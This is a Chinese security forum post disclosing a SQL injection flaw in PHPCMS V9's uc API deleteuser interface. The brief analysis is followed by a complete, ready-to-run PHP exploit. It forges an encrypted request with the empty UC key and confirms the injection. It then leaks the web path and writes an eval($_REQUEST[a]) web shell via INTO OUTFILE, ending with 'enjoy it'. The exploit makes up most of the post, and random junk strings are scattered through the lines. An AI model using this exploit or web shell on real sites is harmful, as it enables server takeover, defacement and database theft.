找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1997|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。4 Y" O) i4 f& @# k0 O
. c) _4 M/ ?7 r- ~
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
( \2 Q8 g- P. K! A/ O8 Y5 U- u  @0 F* i* d
漏洞分析:' e$ B6 J" }" |# I: [- {+ S
1.未启用ucenter服务的情况下uc_key为空( }! x: ]7 `2 m+ F
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
' S, G, `* c9 _* m( n( U2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
5 ]4 P! ~8 t1 k8 ?# r    public function deleteuser($get,$post) {
, e; z- t) B& A        pc_base::load_app_func('global', 'admin');) D" q6 ]2 o( I" }
        pc_base::load_app_class('messagequeue', 'admin' , 0);, r8 N2 j. u& B2 j/ t: j) Q# c
        $ids = new_stripslashes($get['ids']);0 g" ]' d, v) L$ E5 j4 C
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");3 l( s2 W0 J/ d
SQL语句为: ^( L2 H2 ^  n
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
; S  l- C7 |0 L' j% `4 W
! |7 H0 r. z( k  m8 J+ x8 W利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
7 t: V( Y: z7 A; J2 o<?php4 D0 p4 a; O* o* }" h, I/ j# ^
print_r('
) h* P' |7 L0 k; B3 C* s---------------------------------------------------------------------------4 I4 x& l, l- ]3 m+ s
PHPcms (v9 or Old Version) uc api sql injection 0day
4 }- x$ ]9 j+ p& V; j1 i8 A) V+ Rby rayh4c#80sec.com6 l# c, U6 K2 z/ g+ `, i) F0 Q
---------------------------------------------------------------------------
4 R! n2 I& ~) v$ S: y+ V');
5 Z& e7 D- F" v8 K6 u9 S' Z3 O9 ^" g2 u. `. ]
if ($argc<3) {$ X. |0 u$ n. n' T
    print_r('6 Z* [; v1 D# T. d" o3 _2 k3 t
---------------------------------------------------------------------------' h, G& S2 P- Q. T2 H' r, K3 |+ W  @
Usage: php '.$argv[0].' host path OPTIONS
) r3 ~& ^! h$ A# e  `, ihost:      target server (ip/hostname)
) E, G$ H, R' Npath:      path to phpcms* U, d9 W% O, g9 x+ \
Options:
9 y1 U- I; U7 m$ T5 i/ C+ V -p[port]:    specify a port other than 80
- D% N6 s( o* c, _( A; X2 k. |8 \% A -P[ip:port]: specify a proxy, F( O5 u. o4 f" n
Example:
5 D  U0 R1 T9 n9 w( u1 \php '.$argv[0].' localhost /! W  ?7 ^( h& ~, H
php '.$argv[0].' localhost /phpcms/ -p81
) }- p2 f$ t+ B9 |php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:804 w- o% d* m4 Z$ l
---------------------------------------------------------------------------' w! W# U- X0 D  V/ H
');7 N) T7 @3 |2 T$ w. [
    die;
1 q! R  g) Z$ h' `* n) n}
% P5 K& T+ A' T, f1 v+ s
6 \6 q# z5 \. p2 D2 w, ^error_reporting(7);
; i% x$ J' l. g4 `6 i+ Nini_set("max_execution_time",0);2 l; k& G0 Z, m: L
ini_set("default_socket_timeout",5);: u( j- K+ W, c$ ?
1 c0 S' u) r0 M% \/ [; P
function quick_dump($string)8 _& |+ H# J" M5 e2 A
{
* U. I/ Q2 Y2 f  r  $result='';$exa='';$cont=0;# T. _4 T: o' n9 q5 @
  for ($i=0; $i<=strlen($string)-1; $i++)
1 m. o- b3 B  c- ]. y! q  {7 F2 e" y  ?% E6 j9 y5 r1 F0 U6 i
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))( v4 Y5 t* Y' i# ]
   {$result.="  .";}
. c" O! s, L  j. x) f. O) k   else
) e% a, V2 b: g9 {; v, S& Y! S( `" n   {$result.="  ".$string[$i];}
' G7 ?( M0 L, c* O  a   if (strlen(dechex(ord($string[$i])))==2)
) e0 @$ G& @- t; u- `   {$exa.=" ".dechex(ord($string[$i]));}
6 j. p4 [0 \( K  t$ y% j% G   else
0 J/ e9 h% _. B0 b7 Q6 Z   {$exa.=" 0".dechex(ord($string[$i]));}  d1 m; w% Z; ^6 x
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  e7 X  C7 E0 W9 @& f  }; R3 \' [+ Z+ \" X- S$ ?9 m
return $exa."\r\n".$result;
6 N; S6 x0 R, ]5 T/ l}
) t( U/ F( V0 g$ m2 \$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
( A7 L- H, ?/ \
7 x+ p( j+ M5 S2 o/ `7 Bfunction send($packet)
/ h( j* L" S& H' m5 Z{
6 M8 }7 O' }# L# S  global $proxy, $host, $port, $html, $proxy_regex;: T+ N6 M. A$ J' Y+ g1 o( v& \' T
  if ($proxy=='') {
7 z" V3 H, _/ H0 i4 L- x! G) Z    $ock=fsockopen(gethostbyname($host),$port);5 x$ `( P( p5 K8 M# w
    if (!$ock) {# }: M; ^+ C# ~$ ^2 Q% f2 W, o
      echo 'No response from '.$host.':'.$port; die;
" \0 p% w" `+ A    }
2 E# f& i/ T" z; Y  }( v5 ?1 p, @% Q% y" J* f
  else {
. G5 m8 v& }4 z; r' T5 R8 |2 G        $c = preg_match($proxy_regex,$proxy);1 A) M* t4 z3 i; v: t+ Q! y; U7 l
    if (!$c) {
$ _+ Q! w2 {; G      echo 'Not a valid proxy...';die;
% |6 e* ^- s! K( q. h    }( U: g  Z; v) j' ]  I" Y9 m
    $parts=explode(':',$proxy);9 s  X& _. j! V9 r, Z
    $parts[1]=(int)$parts[1];
7 e2 _; }- E( }9 C. b4 ^! N    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
5 f/ O# n: ~/ ^2 B    $ock=fsockopen($parts[0],$parts[1]);9 ~$ _, ~" ^2 j  j8 h% z/ y6 U$ u/ z
    if (!$ock) {5 C! H$ y7 t& u
      echo 'No response from proxy...';die;
3 Z  A' }# c$ F! R1 ^        }. W/ z1 Z. _: J- r' D
  }
( B+ C& K! }+ c* T  |# J6 |% b* A  fputs($ock,$packet);3 R$ A; f- a) c8 C+ ?. [7 B
  if ($proxy=='') {4 G& w+ [- R0 B- y! r
    $html='';4 n5 S& E# \- h% B1 `# v" c3 Z/ G
    while (!feof($ock)) {
6 g2 I, k4 Y- b      $html.=fgets($ock);
( k9 R- i9 l/ G- ?2 e6 W9 f    }' j0 i) ?. a. V8 D
  }
' M0 O* I0 N& K$ J0 Z0 B  else {0 S: s' k" q7 E- C0 I- R
    $html='';# L& C! x) [- Q: ~  u& y5 Z
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {% k- a  J" X- Z' A. O0 [
      $html.=fread($ock,1);9 Z3 U: H) H: [" x) u; r  `( |2 w/ f
    }
  |- J1 M( M! a% B0 w/ J9 V  }
# {6 q8 T) P' ?/ n/ ^  fclose($ock);1 O  [: O. k3 I+ o1 ~
}
2 ^) ?6 r  M% i) b2 Q% l& a1 P8 s" l1 q; b
$host=$argv[1];$ |: J9 h: M+ b* @8 b5 `* f$ s  I: L
$path=$argv[2];
2 M0 w8 P% t. j+ B1 U, l$port=80;
% E7 W1 ~* u8 ]; }0 v) F8 z$proxy="";2 C! S: W/ W' x3 `& j: A4 @- }
for ($i=3; $i<$argc; $i++){
6 q9 |5 Z, d2 v8 }4 C: L$temp=$argv[$i][0].$argv[$i][1];
3 K4 }, J& R# C7 B& ^if ($temp=="-p")6 P5 ?4 \6 X* s% k- Q6 N3 ^2 P% Y
{
2 \& h* Y/ D% j. p7 r- a  $port=(int)str_replace("-p","",$argv[$i]);3 v+ j/ w! t* D. J$ c3 N
}
# X1 L& S; X% C/ i7 {7 l. B) Xif ($temp=="-P")
( p  C" d+ x& p% @; M{3 u2 c& t, Z5 ]  J. g
  $proxy=str_replace("-P","",$argv[$i]);
+ g# o  Y' X0 y0 }4 ]* v0 T4 R) q1 h; W+ M}
- A; s. k9 z+ k3 ]$ R. s}) z: ^  A: F( a# Q2 g7 R- e
5 v  z/ J$ R' B
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}8 n  \% j5 E% x8 y6 |) l' c
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
" g9 {" E" ~3 G8 P1 w% \2 r5 M, q; F5 {6 P4 j
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {5 q8 ?  K* ~: i( Z% I- X
+ B  D# O1 q7 d: i: a5 W' K
    $ckey_length = 4;& F6 S/ r& e5 I/ q0 i- s% J( ?
% m8 V1 ]: I1 D" g4 `& ]3 e
    $key = md5($key ? $key : '');8 w" S% t' H, S$ z
    $keya = md5(substr($key, 0, 16));
2 x. _6 o  P# J; r* c# u6 A    $keyb = md5(substr($key, 16, 16));
. ]9 D  U8 _. d+ W    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
& y+ C& _+ D! A% O# |
. B) U) {1 x1 z' q4 I    $cryptkey = $keya.md5($keya.$keyc);$ T2 E1 F% q: s1 N, Y( d
    $key_length = strlen($cryptkey);9 F6 d8 h, C2 @2 H9 h7 Y
: I/ b& z$ M0 h8 Q1 h
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;& ]( b* s- @/ F1 _& x% k) f3 f
    $string_length = strlen($string);
2 v2 B1 m# L/ x% c; L! o' M( V* x& h  }# j4 U" o
    $result = '';
: [# O+ w) L- l4 j6 o6 V3 y8 m: w    $box = range(0, 255);$ |0 K% b1 W5 W* l

# b1 [4 s# ^1 S& P    $rndkey = array();5 f; j! t* [1 J8 _. z# O
    for($i = 0; $i <= 255; $i++) {
* U3 F4 A  H7 P8 i7 _! @        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
4 {& g0 C8 X1 ]# k$ d. |% G    }2 ]; ^8 W, S" y+ S$ Y. U

/ @; y" u$ t% m. r2 D    for($j = $i = 0; $i < 256; $i++) {% w# x. A% y8 |( k6 c  j" m
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;; N* l: a+ V$ h% k+ l
        $tmp = $box[$i];' P6 ?* ~9 t) i4 N: t, s
        $box[$i] = $box[$j];
7 {1 x+ Q+ |, k9 I: V+ z9 L! e        $box[$j] = $tmp;+ y& w. E* |( W: d) M" e
    }1 Y; u( c. J8 B

/ j% L2 B+ K2 y3 p) h  G$ \    for($a = $j = $i = 0; $i < $string_length; $i++) {" h* J) Y5 ^) o( v4 |4 ?
        $a = ($a + 1) % 256;
5 _5 @1 y5 K- L5 {  S" m        $j = ($j + $box[$a]) % 256;! g4 b, Z8 g; k* D
        $tmp = $box[$a];
% o7 n* g+ L' W. z4 k  S% S! ]        $box[$a] = $box[$j];
9 q* ?  G  ^; [7 w3 k. l5 _# y, a        $box[$j] = $tmp;
3 u, p8 i) r2 I        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
& @8 B3 Z/ D: x+ F7 Q    }
) y) t9 _; V0 e9 x, V* J% P& O. `% F% f: _" q! }4 [
    if($operation == 'DECODE') {
5 c0 I0 j" j! b% M9 @        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
& ~& h8 |; H2 ?4 X0 g            return substr($result, 26);
6 k5 J4 [9 p+ J- q( m        } else {* Z+ a" [5 R% o; T, E7 h  n+ o- G% p
            return '';
- S3 b+ q1 M- Q! ?! E  D' j        }
1 G- ^$ J& c5 v1 X) ~    } else {
3 t( W& w8 q  A& K9 I        return $keyc.str_replace('=', '', base64_encode($result));
" j' {' G3 j) o* X5 m0 V- ~    }
9 w& L! N0 X2 \+ F, n9 U7 H  x1 c" W* [6 n6 ?; [
}' L* A; Z( \! _$ ~7 ^  V

. G6 t1 W7 }8 C$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
1 I5 A" y  A7 p3 f$SQL = urlencode(authcode($SQL, "ENCODE", ""));: T. ]. D) b$ ?
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";2 \: N) {" R, u; S
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
5 i7 z4 |- Y9 L" l9 K5 D$packet.="User-Agent: Mozilla/5.0\r\n";
# h& \9 }" e) H7 k; r! t# ]4 b: C8 w$packet.="Host: ".$host."\r\n";
3 L1 m1 u8 h) h5 C5 j$ b2 s. G$packet.="Connection: Close\r\n\r\n";$ K, G5 U# ~6 f+ `) n
send($packet);
: V8 ]2 z6 _  m# ?2 h6 tif(strpos($html,"MySQL Errno") > 0){
8 F4 i/ V) ]3 \' A3 Y2 s* G1 Wecho "[2] 发现存在SQL注入漏洞"."\n";2 w2 x7 _+ _3 w
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";( r' q( a3 ]! `# l- g. e) B2 Y
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
9 C3 b. u+ j5 X& w( R3 _' {+ N$packet.="User-Agent: Mozilla/5.0\r\n";/ {: s0 J2 @- f( D$ @( B" Z" y  H! A
$packet.="Host: ".$host."\r\n";0 S& ~" Z7 W6 K2 E& @2 X9 g7 k
$packet.="Connection: Close\r\n\r\n";- D9 q; B4 ~3 ^; z8 R/ A- N$ L
send($packet);
* U8 T, |0 m# C2 p/ upreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
/ ?% K! _; ^2 r* R2 v//print_r($matches);
/ [+ M% A/ v% a: qif(!empty($matches)){5 D# e9 ^/ B7 W, ?4 c2 M
echo "[4] 得到web路径 " . $matches[0]."\n";6 ~/ k( u# i" _  R. ]
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
+ T: `! f& B  z3 f$SQL = "time=999999999999999999999999&ids=1)";+ ^7 ~! _% C+ ^6 t* z7 O
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
# ~7 Y+ P7 b) A/ o2 v, T) A5 J) J$SQL.="&action=deleteuser";
. @$ t1 j/ V# X$SQL = urlencode(authcode($SQL, "ENCODE", ""));
. Z' F8 Y9 z( y  Q# i  Hecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
" @6 W2 C2 j- l! L. w$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";- e0 b& }; [) C. V' B' P
$packet.="User-Agent: Mozilla/5.0\r\n";; E2 b! _. V  p( J
$packet.="Host: ".$host."\r\n";
" o: m0 H: Q+ M$packet.="Connection: Close\r\n\r\n";
" J8 p/ k0 s* }* y& {& Asend($packet);5 k( r* X) e! x: F) \/ z% n
if(strpos($html,"Access denied") > 0){: T: Y. \* u: E) J, d6 S) `
echo "[-] MYSQL权限过低 禁止写入文件 ";
& ]+ V2 H# P" Jdie;
# N+ D" M! M7 s) b( }0 q% y}
* [  d  q& I, ~! E% \+ [3 W% jecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
6 c% {# O" \3 l$ u* |* {: G$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";& k* `- B8 h) L; L+ }
$packet.="User-Agent: Mozilla/5.0\r\n";3 S  y' g) b, V% f
$packet.="Host: ".$host."\r\n";
# x6 C0 M$ v: y) }9 C9 U$packet.="Connection: Close\r\n\r\n";
0 c; r6 [/ |- K9 ]send($packet);8 X/ w+ ^5 l) M
if(strpos($html,"<title>phpinfo()</title>") > 0){1 H. Z$ T. V+ Z6 i* l
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";4 |( ]# `8 t8 S0 s
}
6 I+ h7 j' l2 l) }}else{$ U- ~; ^3 N7 a8 M) v
echo "[-]未取到web路径 ";
2 O( ?7 i. U; W+ O' B( r}
. B, A. j1 b6 v# K. H}else{; e0 Q, \; d* f3 j
echo "[*]不存在SQL注入漏洞"."\n";
3 n$ q# R' _  g2 s0 e; ~}$ E. [' z  z, K# h) k

0 G7 H+ m* Z- `?>
$ X( ?2 K- J: p4 m% F+ E1 U  v4 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表